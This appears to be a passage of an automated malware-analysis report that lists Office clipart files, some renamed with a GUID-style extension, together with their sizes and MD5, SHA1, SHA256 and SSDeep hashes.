SHA1: c521c366721f0fc760e9259dd332876687782c19
SHA256: 825078be018ccf7ee1cd3938b0d540e92e3f27eb4fad4a1723654275ffc54e18
SSDeep: 768:UBjDy6SwZAzBGiTZpn3l9AEc+gNv3GL7rOgec5yBZxmP5n7CNWj6pZ/WDrTGV6QL:Mo/12SeDKA/XoL9byR8PyqM 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 28.67 KB MD5: 58f2de3c8cd3360bdeda84e48e274b80
SHA1: 8297fc3f13ec88b945b17b4ce908b1444b0c143c
SHA256: 3969e3d7c36c714239f6d48aaeee490764cc4a20867711cbf9e59ce9456d0069
SSDeep: 768:s8OJabaldKhJM2Iz1d8tB5ubcGsiOYuRrPClQ:s87+AhlIJdwB9GLWOlQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01184_.wmf 3.66 KB MD5: c2b79d6102c7746b2dcc75bc9328a849
SHA1: 3ed5481e0e0be982cea5a8ff9aa32ac8742b1e47
SHA256: deff1ba7370f3119b660bc471d7c94727ce088cb3ea6ed8b158be22748feee1d
SSDeep: 96:s4U7yT436IJ3XvgYyPBOJARsXa8bWOZFXrsmg9M4E4x22OAvn:HU7M4KIJ3fgvPgJAwa8bWAFXrsmg9M4D 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.41 KB MD5: 6f55de52ccb8ad6db94a5062bde34943
SHA1: 1700a54034b18bbeccdd374b787dc5d4804c24f5
SHA256: 89bc36e5db96c3752a9be2f535936dacbcb34b8740a96feef9c742636b1f0414
SSDeep: 96:ZNl/0fWTRNhcpt0WFAfdqzxZAiRnMQXofWDV7kFj1+NrQpwZ66:ZNlHTj2UAFuiRnMKB7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01251_.wmf 2.69 KB MD5: 5ff7aedc7657a2eda5855dcf404813e6
SHA1: 5566a81e187068e899969841f3bf55575dfc49f3
SHA256: 5bed0a5e29e8624c267ec9a2894f6b52c1478b97cbae893524a74dfa0655c668
SSDeep: 48:OK4/1fCrneMOtbsk4u8LplGiTC2+LDpFjqqLpo7MdZX1qVBXDJRcXY0Wfc:O11abeMob64iTC2+LjN2MiBFRcXY0WU 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.16 KB MD5: 62dec2158c7b2eb4fb601fcf892d4460
SHA1: 52e1ce0a10e00575d1b9261942fcdfe3328206aa
SHA256: 68fc234af47b8fbc31be312736c6b51ea50ae40e230293033a9dd4432cd7c2fb
SSDeep: 96:WloJj6L37v714LgoL8i8aXLNfj5NgXnqh1V7kFj1+NrQpwZ66:yL37KL18Cp1NcnK7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01545_.wmf 7.20 KB MD5: 61c3b39b97bf884633ffea6e43b8fd2b
SHA1: d4d87da76dc975022fa1f7113491d77bd93983a5
SHA256: 7e29edf8556b08a41e53488e28de2f1598bb7e75c3fec5be24e8f143a41ac28e
SSDeep: 192:ElCp76lstfENbDKl52TxX60LkS9NaPI2+Q3v7TB7CGY50AVTpTE:ElU+lufo3Kl56p64kANWWQ3vPB7CF505 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.83 KB MD5: ec07525c4e6525f86e7d38f3e996ae1e
SHA1: c491129382115e5bf9c3aabaeaa126e745245c41
SHA256: 5b35186a45f2be340cc6236a05a22cbedab93644a4a14f04f7a002c8092335a4
SSDeep: 192:hcHw/34JTL1ClhJGYFOA17vl259YcW4nCuVhEgmBfsd9M7ktkCp/6:eaoJT8lhcAOxfYcW4nCu7Egmh4TZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an02724_.wmf 2.06 KB MD5: 3d2a5710958580181e9c6a7dfc65c062
SHA1: 51aa93a32f635188889830e25b619509feada393
SHA256: dc8b3fb3b79b8d2731cddebab1fcb126c7bdf87ea46d4618fe52dc995685d942
SSDeep: 48:FJCsK4/yiLpzESd0UdUZN1GKgBzC9aA9qTm2JKa5Rc:Fn1yqzB0UO8w9aAITbKaU 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04108_.wmf 2.29 KB MD5: 4e9ff40c70c6ace922ab1fea084c1f80
SHA1: e890db0f08853559f4afd8ddd159e4b2a20a7e03
SHA256: 21c37996a0fa76637f90a4d1f684268fadcb3ba1b02fc3d7c82b1765a893a4ae
SSDeep: 48:1CB4gYT8YNXpQVkMtkxPEU1DLQ1YRlKwqjuUyYyW:iJ6XiVkxPQ1OMw6uw/ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04117_.wmf 5.92 KB MD5: 0f2f007a02fb84a4708f7eb9c0345d9b
SHA1: 5ed66b0a32e782c501ff0f4a674958b1d266056c
SHA256: 979784b3f04f5a53764965154e3f42a6e5e4aaeb45b7f4fabf84effe3cbbe61d
SSDeep: 96:sZJpIcnoaD1CF1aq43mXyBLS+2yq84zBhr4lb5aY6jM+qxaZ4uDT5GgboBTDCTAw:szicnonF1fXULX2yJ4dhshj6jM+qxaZh 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04174_.wmf 2.58 KB MD5: 6572597301cdd8bfc23042e39dbd9eda
SHA1: d6ef1e4afe5ca24caa47f4f36667849a17e46393
SHA256: 60249cd48030be84fbd609ba7e35287aa0ce42df11a769c7079f87376fac9334
SSDeep: 48:1GmIB4gYT84daVUZqnf8pl/kOibPj9rk6kgwrfIZDQ9ps304oIW:kmCJq6GIfgNkBb66pwrfIZDMs304ot 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.03 KB MD5: 44525fa1c6ba1ee1e5edbc057b3c5120
SHA1: 1db2d009136608eb0251a93c03750b361aa3cb20
SHA256: 2ec9a42a5727c6c9b6b5dc4d247b84423e043020d06db126c0ccd1229e2e4bb1
SSDeep: 96:j8jmmr8PX33FZ449VFdTO79SyCBqW7OogV7kFj1+NrQpwZ66:j823DfFxC+37nU7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04191_.wmf 6.48 KB MD5: 2deb4ba29e04f999b73472a3f7986b9b
SHA1: 583e51310636cffc29f7367d436c4ba972c2ba8a
SHA256: d8b02558cb9740b341b7de10d104bb685dff12ad5289fb2bba8cb9712f959c3c
SSDeep: 192:7jLxPK/OSdZFxs13MkWhaoURKk8cITyGx2E9q8zqslsc2/04McgW5m+m:/LxiOSDFx8ckW0oUQk8cIHYE9Vqslj2+ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04196_.wmf 3.07 KB MD5: d7420f1d216a1ee6c38cd703f3b5fb9c
SHA1: a65ec985fbfec647fddc9d105288ed57035f6a3d
SHA256: d2a1a0683b7ad593a43b1b8022a40b16768f62fc9e55ee193b5e7ad916191973
SSDeep: 48:1GiaB4gYT89iZay9P/4rVzu/8JuCOjImlW1rQfEOrxVz6OdeZcZ27/Nch/W4/+jW:pcJ9WFiFu/8XmIhQxz6zZcZ271CO4/+K 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.53 KB MD5: 72a09b6c3b0e3aec33d44282905b0271
SHA1: be5935c0adfb6b37630ece009a9f2b4bc53609d3
SHA256: be6025f79e7b77e3646f1f409696a9bb19623b8f2d6c1fddbfa3f6e4b19fb391
SSDeep: 96:LRbBsFqcZKBLS/EMpsE9Rm+K/QUNUz0DV7kFj1+NrQpwZ66:LtBsYjS8Mpnmf/QUNhB7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04206_.wmf 7.49 KB MD5: b8a045cb3b99d6a8c38f0841c513a06e
SHA1: 7661458f34a6d4b0260bd46c6a8519b2d2bebd40
SHA256: 6a9a4bb70e7271b38b7045381e5ae7696946b748a8cf9b482536b57ba023ec01
SSDeep: 192:DuMel1Qt14TYnnvuCl661ilrXLiHWKUsN9iPFlZfDTzo2vVOgQh9UqeQJc56Ofz7:DuMeXw1kYnnvuS661il7Li24zMFltfdh 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04225_.wmf 8.29 KB MD5: 426664157cf73294ef94faebc0369fdb
SHA1: 99c46876ad5a1be398f76895e12b2c2c6a27617d
SHA256: ad4efcbf04f32c59e181b7e6d3a14acd821a0202eff0d99775699087d358dbb3
SSDeep: 192:WlrRZlvQ8TO0NdCSCeLT5CQKMpRm8q7YE8tMoGu+Ya7CcfBba/b7ES586Jt5dcYc:WlrRZm8TddHCeLoQKMLmd7YpuE+t7Cyh 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.75 KB MD5: 1a00246443829c1d39f1b40609217998
SHA1: 6acc2cd5f43858743e122f0f53e3d5a8519e680a
SHA256: 0c4806ceb25d4e6962d3696147851cde47a033c42697d5bc10ab665c8d9c33f1
SSDeep: 192:wuu7RzOB71dSX37sLSHyhveABPn3zlsNUBPG87ktkCp/6:U7Rzc71Y3dNwPn3zOUBGjZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04235_.wmf 7.62 KB MD5: 210809bfbe0a2b4342d51a2188e9d137
SHA1: ad4885ae402d88806adc2eee341b0ad47fd4f50c
SHA256: 620b6a2a5d6e92edd845a1fb4e9560110cfbf7e40eeb9e76c7a78f7025858ec5
SSDeep: 192:74ux7g1lzq9rpwB9LxD0KQymhrFM93TE54VpIdmMLKzxgL8/84RQlTi8Ip3:7Hxyzq9rWfLxD0KQyyrFM93TE54VpId6 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.08 KB MD5: 3130aeb2b32600f85a6ddb516c3cbe8f
SHA1: 44e7d101c458b40ef75eac6d8f1ed095f6ca7c73
SHA256: da9c23c37f4aa4f14fae2554cafd43d42ec59d2231c9dd0287ed7819eadf752f
SSDeep: 192:V64AeWOZbdA4O2EiiaL9GbyoLFEKmG7K7iqbTdjtTRng/DeXjp7ktkCp/6:rA3qdAi/nL9GbDRPmG7iiqbjYeXKZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04323_.wmf 2.43 KB MD5: 5057dc96c71ce96d0cc86909aa487ed8
SHA1: 6b39868cd021bf6ed98dbefe5430633b482c8f8c
SHA256: 368eeeb7088e8d0f1cacde574fa57342fe83dcf631b1e2844a81ff0fd4f569ca
SSDeep: 48:1/CB4gYTvi4P/17q3ljlWpbKbVd53lQ/ch91QqjD+UjwlB+oDWaZW:yai4FYkluVdxlQ/X+CUjwVfY 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 3.89 KB MD5: 19e4a67c7c69954605c1e2f90cee217d
SHA1: 629428122c48c9b12137bd18159bff3c07555fd5
SHA256: 7434bb1ac0e025db24de3e9b92f8731877ffefcf67679c42dc0546cf6e291007
SSDeep: 96:DEmDidrmcC4UsUDlIROm4ti7BVEDjCeauV7kFj1+NrQpwZ66:omDidrGsI7iwGeam7ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04326_.wmf 3.27 KB MD5: 315ff0927abe1a9230efc6c0065dcfe5
SHA1: d9ed2c558bb26926b8ee00ee6e01d0d4c8a988f3
SHA256: 4accfd7672933767f868128eb0cad3b0c8ccbf1e04ebe0996ab4e29a69dfc0e8
SSDeep: 96:RJY/npm7dNyrZKq7KFXvObgheMQHeCH41xrTY:7qpmpNy0q7avCgheMQHeCH41tTY 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 4.74 KB MD5: e6b0990beadabca048f921f4cab6a0f1
SHA1: a548f419a6d2eb2a80cb335a1926de0f7429e4c2
SHA256: 111b6be0cb09773df39ae9f7fe11305aa3dfb3d05b688ade8253cc95c8891a25
SSDeep: 96:1wKMOlYWMWF6gWDSCgzO1lkq7eEFUFOvjBFBFAIubyV7kFj1+NrQpwZ66:1lMT6WDzMikpEFUFO7BF7+b67ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04369_.wmf 4.70 KB MD5: 00a08a02bf393db5ea393ed98a724b94
SHA1: 4429c13c3b9166c66195f10fb06d52c11effe574
SHA256: b04bf2ac764992c1c02f672c32a214f3faed2bb5e3b679027c7722180a1b5818
SSDeep: 96:AJVLoxQRq3WDtrqsWB4MKAbd2gULwgI8PZmDn:WZoeRTtrKiAxULwH8PZ0n 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.16 KB MD5: 30f1d283a207d2c18a9cc5b88fb587b7
SHA1: 4928188e1a77982751c4139af1d60ef32c804bc1
SHA256: 3dd39b908fce7564aed8aeaec8209ddda3fdaf0a4cacc96a97a9d5af26e07205
SSDeep: 96:PC8yEx9qD/KnS5dK00wGuZOmCDBPQ+Ym520N1wfN5oymchYV7kFj1+NrQpwZ66:PfyEKp5dJ0BuZSZDYM0mc27ktkCp/6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04384_.wmf 4.88 KB MD5: e7908036a7686a1f62a1df26c9db125f
SHA1: 07efd7472041248f994d1e08f08e98f071510120
SHA256: b778b471c58c9d9182530b871120e62213872bae2c728f13beeb3576e4dfab74
SSDeep: 96:wJtus2ysn2bF59lR8Lrwry8UEbIRjMsudJsc20Tu3g7fpB3z7qc:GQ32bF59lRi0ry8nItnudJsc2Ouw7fpN 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04385_.wmf 4.89 KB MD5: 6df6ff8a87f8b668d56c210f69e7194d
SHA1: 843ec667e0330e925fedf1cb11d5ba8703b23dc0
SHA256: 9287105539bc59ce2c25b84b500c1c92ad72d12264e05a93dc8060713c9f412e
SSDeep: 96:KJnGwkn8L9PlWxvCDhb0dIUlcePYJFA5da5oP24IjCW0FUJQzlIuXoxt:QGd8L9COyIULPYza247FUgl9XMt 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.35 KB MD5: c6c5e903a452d688b5426753ac04fc5a
SHA1: 0432252e5682ef9d61f93dccbaabde78ceb892d6
SHA256: 10512706b6ca3b744d99f5ea2e4b8ad73ab862349eae6c0322a75fa225bf4130
SSDeep: 192:qoQAnTyxyHAgKfcs03nPn0142OaXgcKNy7ktkCp/6:fQ6uUKUs6Pf25XgcYFZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID.-16C06E83-81AD-7D23-B247-5A57886B0D29 8.67 KB MD5: 9f5c76702b21b93004c62e484f54bc81
SHA1: f53e8f56698188dc9d820a6de27741b8216caabd
SHA256: 90e29e12d1d31c2a00d6938a9f44158693f7ae67fd589251ea248e882b821f67
SSDeep: 192:CFzt+OKOYqKmD8Kdt0bFJcvwAzzlf4DI5Z7O7ktkCp/6:CD+OKOND8K4bIvvzh4DI5ZFZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 6.22 KB MD5: a41914ac0e720e1e77033407ca28ba8f
SHA1: 66b6bcfb9d8546145ed752e46e2af053f80d83c2
SHA256: 653eb3a41776972dc5bbc661e6112e62eb591181ca648ef6aa5644b21fa80268
SSDeep: 192:CS/uZJHFbyUaCrtEa6OVIy6lUEo7ktkCp/6:h6pFbyUaAteI4ZS 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 27.72 KB MD5: b7d63827eba68411a79fea0a1ffbf3e2
SHA1: 900f303001811346d220a0a21ec824878c4c84d7
SHA256: 89ab4bacf250512355c6df56af8ab53d6c228d044c40122e4a0cd7478382e433
SSDeep: 768:9r3upCNQADH/6TtwQ3xGqYwKb1ThxhbILuMKHD8eQ:9repb8HEGVTvhFHQeQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd00146_.wmf 28.27 KB MD5: 64f243084cb9d15d295efca4064f82dd
SHA1: 69ad5db70247bc8cfe069515473bd74e9f4f41f6
SHA256: 14edca0786bf28a31127b8c40255d2adc0f50c0f0ea38479987e7d5389e1248a
SSDeep: 768:AnC2KLqmi5AfdzGi3bHCQc9yM2XvlomvoK+hlJZFAf5iUnZlh+LiakoAstICYF7T:1dNBQ0mhyXCKG62wNL/5 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd00155_.wmf 11.36 KB MD5: cd42411c780fbee9a182da468cacfd7d
SHA1: ec10c6ee28bf6ac9118dada9b988c325b938580a
SHA256: d93fcfb3ff53bffdcc22351fad95d4d9e7b11074ed1f8d79b83cc74842fb9fd9
SSDeep: 192:2xtAOP927mZ8OuHNRDgXjXIGInt6RVIMVM4tu6kYoF7DUuFN58G4xcnScxPsfDlf:2xtDM7mZ8BmrIGE6RVIMVM4tu6kYoF7s 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd00173_.wmf 15.80 KB MD5: 72f40f0f42540debb1cf088e9dedd3c8
SHA1: 711dd5ff2a063a94e7222559f1cdf0556cfaf640
SHA256: c3133ad7fe3dac30578040210e9943c4d2d5c18864f44fdbe02488c13558cee1
SSDeep: 384:3oVk2+VIKj58FUO8u67wmmHqNc5XTfe8eLZAzy/X7RV4V+RX/Ldh0llj1/9/EY7S:3Uk2+Vt58+O8u67wmwqNc5XTfehLZAWD 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 18.30 KB MD5: 4ecfe5dc54d6e05dc202b1eaae90d162
SHA1: 9af09d045c920841a9d2661fd2f91b41a3b47488
SHA256: f23e8bf8abb500b5da47b09bf5ea19e563a75439160a474a7fe9d293b3721f45
SSDeep: 384:HeodckoRYfsRb/TZKYlD1kzNhHvb/L5e5RcLAStNLbc39Xd8ZS:HeodcNYallDEhPblm2LZI9Xd8Q 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd06200_.wmf 16.29 KB MD5: fc8f4c8dea257aba885ecfdd76e7253e
SHA1: a63f3c37c2c3667431c87593bdd6fa27b5022bf3
SHA256: 9c8693aa92c5470d95bf5114d4740c9898b1d261c92809872b922e6c6ca02bda
SSDeep: 384:81vmFtzk0THj4Y3lC5GZ20wLi14cVVeixCUS0oWMD7oKSXWqOWMHgJBoq1Baqifp:8pm3Q0ff1C5GZ20wLi1HVVeixlS0oWML 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 17.75 KB MD5: 1f0d1ae848ba7cb6d9f381d1b8a6b6da
SHA1: 7b418cd755b64119f333e352dbbc2a45aa15af94
SHA256: e5937d1b66c8d4bb0ad1ff4da78817b6aa2c31719ae2d643bd1c30a484146d6a
SSDeep: 384:Q+KStNwEbPEbnQHOO++fVYvqj4lOp7fm0TzIXjeD8jZS:tNEbnQC+fkqT7fPT+iD8jQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd07761_.wmf 26.12 KB MD5: ffb35e0a38d3a22db194f3b055a6c001
SHA1: 1a1f39e3ca78359b3fa9652627626be31a8aeff8
SHA256: dcb08bdfb295454b506f022ab3cb36ec72df9e1caaa66e6bf6145c7b2dfd5b89
SSDeep: 768:6WFXaxMFxivMfSi3RGGKrVJ0EgKzaeM9jKqE9Bx8KF7bnbkYQwXtFYqvZTPs/2sZ:hFXMvCiGyAmygtw48Ox4 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 27.58 KB MD5: 6e3da877ea3d1f19077cf7c1f569c085
SHA1: d7a37dacacbc01c815c948818da90ca7906f0286
SHA256: 1dc83be6abece2139a3b52bd34a167973fd406aabb31fe72843e349773b7f4c7
SSDeep: 768:GtE5A+hJMi0hELmYQCp/dqWcx/GmWUktJ9qPcaAQ:xjJqh8m/4axGmWUktXqCQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd07831_.wmf 3.97 KB MD5: 85c3cf87edc67a9ebbcddd17a3ded333
SHA1: cfe2bb790e47e20dc2aca9b2bf2b562c68640e0f
SHA256: a90d54883ae20ed153b315da22f924b3bec56705e6c63454e86bc8c9a3aaf6eb
SSDeep: 96:wJ1V0urvwKkSiZ18kjV9YtmBy+s5tINZCZjYPP4Zb6tmzcr3m6:G304YnSiv8SXYtmsXtgZCZjqPA6tmzcp 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 5.44 KB MD5: d3c5469deac45eb72cf70ab16fd66ad7
SHA1: d06335a14f474fe3ad6716b0455e9323de32a92e
SHA256: 73ec86bea27ddab2fc2a03282aa44d04fc19315a9e500f35a8910f8026683c3b
SSDeep: 96:ERTgEFLHu0w36jx0GD6kYv7L4CcLpTH4aTfgFRPrwrfxJbDx5V7kFj1+NrQpwZ66:udFbu36uGODn4BLN4PDrwLxJbp7ktkCA 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd08758_.wmf 23.75 KB MD5: 3a8c52d21d97339be5905f00ed087ca3
SHA1: 376ec4f01f85be88e22e2b67e2e2c39bd88ac47e
SHA256: 29bffee6857972608033208c349cf575f6dddd0544c84bca59247bf98f123751
SSDeep: 384:GmB5ln37wvmxuD1ZBwpbg91/sPJ3OdKi7VjDWs+JHByL0SgYJzQmrmH985rbAR6Y:GmBHn3UOxUjaEFsPdOdB7dDB0r8zQMax 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd08773_.wmf 24.20 KB MD5: f38cb32b56d41a35535c120e46e81f19
SHA1: ee8ffedf44349856bce3d760f1294ae83bd12ea8
SHA256: 960cc07f35ab745818a404f13191389a3f43a210f7adfb117ac256692d723172
SSDeep: 384:yyf+LkSDlfTCbv7A8varAuKXNfVcIzF8M2iBJ3UBx359EgBSBUmEnAw07SSs8m:yc+HpqE8veAuStzaMvJEBxp9RSB2n46 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd08808_.wmf 46.87 KB MD5: 6a1751879a10e01a57faf90b0e2deb11
SHA1: dff7279a1448376c21e251dd9edd280ee9efebad
SHA256: c27f78dd557548cd62d4810afef68a64cd4759b84fb0c6eeb30b8f2805b8cb7b
SSDeep: 768:Kqo4MS13fndvHfA0vRHxgOeM98GMg0PCXzo1MhD7XuxD0w2a:dbrRz6so1MhD7exD0w2a 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd08868_.wmf 39.26 KB MD5: a33c32182ab424a0958ae1bc6df3738f
SHA1: ef6c144549ef6d53260d3ed08d75540310568a25
SHA256: b00519c20905ec40e2e0ffe7f9368095d9adfd233bc0a16d620033c0a0d5ff4f
SSDeep: 768:PzD607BWZBPz43+ZS21BYTpvAPCP0zwITG/wBWOKEe3Jqhc:P607YPNql4KP0z9S/i7QJf 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd09031_.wmf 46.67 KB MD5: 16514f3fedac5822de85f4e735f509ff
SHA1: 1a270ff242ab2f16a5697a19352c24b2a5f78b17
SHA256: 428a4838e436533b62ff7901f36f880f0ecc9f9690909c2184d40f14a34d89b0
SSDeep: 768:GNf5Co/PqvU+Dqf/f+BQ7kCHEC+r7lHuAA08lMHojdJhm6RqweaB59h0Vj+UGbQf:uf5C8PqszP+5lrhHumHcdCKqwwPGbQf 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 48.13 KB MD5: 890e664e52d10fae4e26deb9ced69dc8
SHA1: 1737af0aa54da09b5f6e66e7a0bb73c76c016a71
SHA256: 370533e52dab727e7471956a325ba324f4879c68e4d704a49322ca0e80bcdb24
SSDeep: 768:hkBhbLAULEY17kBSlPaxbNmYOVn98M+5oXlGyoCkLo/g4N7LIvOjlCl1UopoQ:hqesEYVkEtYIYOVcKkUYu7mOjXHQ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd09194_.wmf 14.20 KB MD5: 0538d56c7bf155c0c65174c61c7618ff
SHA1: 716a79bbd28cc58193e760423c4ac53f0de84ca3
SHA256: 1e1a5e151c478d5aedb5f7a4632559372f120c5fde73ff6ee19867791dafdac2
SSDeep: 384:x6fzQrQR2eIr0tYyM0znUO2UaPOUZGufMSDBDyKAA:x67QrQR2eIr0ylYnc5fxDFyw 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd09662_.wmf 20.07 KB MD5: 23531b1a2b7b409fae00423b602c235e
SHA1: 3080909c100de9840e06283769aecfa0dd486709
SHA256: 3e65f98fd96adfed1e0211fd914276815c346f57ba4b40c693c1743d08cf3cb2
SSDeep: 384:BtX9FpZF++LJhfUsdwwfYOiof8plbxXJl8M74KpXzlmWJH9RyYwzzmOI+RNdkhlT:7X9Fpb38+aOLf8VXJl8M0KpXzlmWJd4s 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 21.53 KB MD5: 1c34079f75d0acc2be96ab525d48e6bd
SHA1: 974fd3dcde0c049ef63490afa8a708585da8132a
SHA256: 0cdf2d2c9e6d9d2087ada10c4c176d78ea5f74de5e9be5714e98b3b70b72af5a
SSDeep: 384:6Q/ThftEPX/MTDKH2qNBBqNrKOELhwv070ANRD5NAVhnZERTLo4IQQZ0HsZS:X/lftIX/SDKH/BKOJLF70AXD56Vhn6RX 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd09664_.wmf 7.78 KB MD5: 085e9a0d621b2a9114e11ca7f7ba7d46
SHA1: 95c088ab0759414a50b9d805055b13f37d9ff88e
SHA256: f1ba747428d5aa69e54b75b9985db636e440efd1733e8aa16526f1f37f2fb587
SSDeep: 192:iiph805wfAH4nf3CJlT4WHr3BSFOEzWvkpOkJWHfSNx31GzEJ6YUoy1kTQirr6iJ:i08Rg4nKAWH1oykpOk3x31Go4YZy1kMW 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF.-16C06E83-81AD-7D23-B247-5A57886B0D29 9.25 KB MD5: a7c8f14d7cd34f3278bc42808cdab31a
SHA1: d3917469f7f1eaae4871071c48f01519ea569628
SHA256: 01012ae9ffa56474764c99c5b1a44787804f0339fd708a65dc08d8c1e642b855
SSDeep: 192:YTqLA1PibxaCFHQiE7evSLAZafmnzJHVgSOV9Tx9a8/P3tWYwgq7ktkCp/6:zLAZir/XSKamnzJ6Tu8/P3tWYw4ZS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\bd10890_.gif 13.20 KB MD5: a774d8a65fadfbc0b683002b0c13b6cd
SHA1: 5577eb6498c49e82329efbd8b5e235c6c09a8bfa
SHA256: 0ab9172ce5baa34b07a2f8fe18af4b56f12df5e5f702da8d7ee166bd1e66116d
SSDeep: 384:LSZCWR+JO6ePsWR/8JBBpxtaMwisArcgw:Lgv36ePsWRkdpxta5isccv 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF.-16C06E83-81AD-7D23-B247-5A57886B0D29 14.66 KB MD5: 076a80d13d7d2fa16e6ec0a5cf740cb8
SHA1: 1870839a92a9425e0908e6344ee6b6366c01cd2a
SHA256: 89db8c958c0bd9123f78aab2350fd93914a337e0845a0b79242582e8e5468423
